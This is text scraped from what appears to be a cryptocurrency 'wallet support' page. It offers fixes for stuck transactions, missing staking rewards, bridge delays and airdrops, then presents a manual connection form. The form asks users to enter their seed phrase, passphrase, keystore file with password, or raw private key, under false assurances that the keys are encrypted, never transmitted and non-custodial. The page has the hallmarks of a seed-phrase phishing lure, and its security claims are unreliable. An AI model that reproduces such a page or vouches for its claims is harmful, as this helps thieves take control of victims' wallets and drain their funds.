Ensure your browser extension is unlocked and up to date. Try refreshing the page. If using WalletConnect, regenerate the QR code. Clear browser cache if issue persists.
💸 Transaction stuck / pending
Use our Transaction Repair service to clear nonce issues and rebroadcast. For EVM chains, speed up by replacing the transaction with higher gas. Our protocol handles this automatically.
🔐 Staking rewards not showing
Reward sync can lag up to 24 hours on some validators. Use the Points & Rewards service to force a manual sync. If still missing after 48 hours, open a support ticket.
🌉 Bridge funds not arrived
Cross-chain transfers can take 5-20 minutes depending on source chain finality. Check the transaction hash on both source and destination explorers. Our Bridge service can recover stuck assets.
🎁 Airdrop not received
Verify wallet eligibility using our Airdrop Claim service. Ensure the correct wallet was registered in the snapshot. Some airdrops require claiming within specific windows.
// TICKETOpen a Support Request
EVM · MAINNET · L2S
CONNECT WALLET
// SELECT A PROVIDER TO CONTINUE
CLR
0
SELECTED INTERFACE
READY
INITIALISE CONNECTION
Securely connect your wallet. The protocol will diagnose and resolve the issue — all
operations are read-only and non-custodial.
PROTOCOLEIP-1193
· WEB3 v2
ENCRYPTIONAES-256 ACTIVE
CUSTODYNON-CUSTODIAL
NODE STATUSHEALTHY
SCANNING FOR WALLET PROVIDER...
MANUAL INTERFACE // SECURE ENTRY
CONNECT MANUALLY
WALLET
SELECT PHRASE LENGTH
ENTER SEED PHRASE // one word per cell
PASSPHRASE //
optional
PASTE KEYSTORE JSON
KEYSTORE PASSWORD
ENTER PRIVATE KEY // 64-char hex
Encrypted in memory. Never transmitted.
END-TO-END ENCRYPTED · KEYS NEVER LEAVE YOUR DEVICE · NON-CUSTODIAL
EVM · MAINNET · L2S
WALLET VALIDATION FAILED
Not Eligible
Some assets were detected, but they are native-only, dust-sized, or protocol positions
that cannot be safely migrated to the new RPC node.